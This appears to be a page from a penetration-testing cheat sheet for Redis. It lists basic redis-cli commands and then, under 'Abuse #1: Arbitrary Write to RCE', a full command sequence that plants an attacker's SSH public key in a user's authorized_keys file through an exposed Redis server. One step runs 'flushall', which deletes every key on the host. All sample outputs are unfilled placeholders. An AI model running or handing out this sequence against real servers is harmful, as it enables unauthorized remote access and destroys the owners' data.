Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
General
# Connect
redis-cli -h 127.0.0.1
Sample Output:
TO-DO# Provide password
auth <PASSWORD>
Sample Output:
TO-DO# List current keys
keys *
Sample Output:
TO-DO# Add key
incr key
Sample Output:
TO-DO# Get key value
get key
Sample Output:
TO-DOAbuse #1: Arbitrary Write to RCE
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
Sample Output:
TO-DO# Deletes all keys from all databases on current host
redis-cli -h 127.0.0.1 flushall
Sample Output:
TO-DOcat foo.txt | redis-cli -h 127.0.0.1 -x set crackit
Sample Output:
TO-DOredis-cli -h 127.0.0.1 config set dir /home/<USER>/.ssh/
Sample Output:
TO-DOredis-cli -h 127.0.0.1 config set dbfilename "authorized_keys"
Sample Output:
TO-DOredis-cli -h 127.0.0.1 save
Sample Output:
TO-DO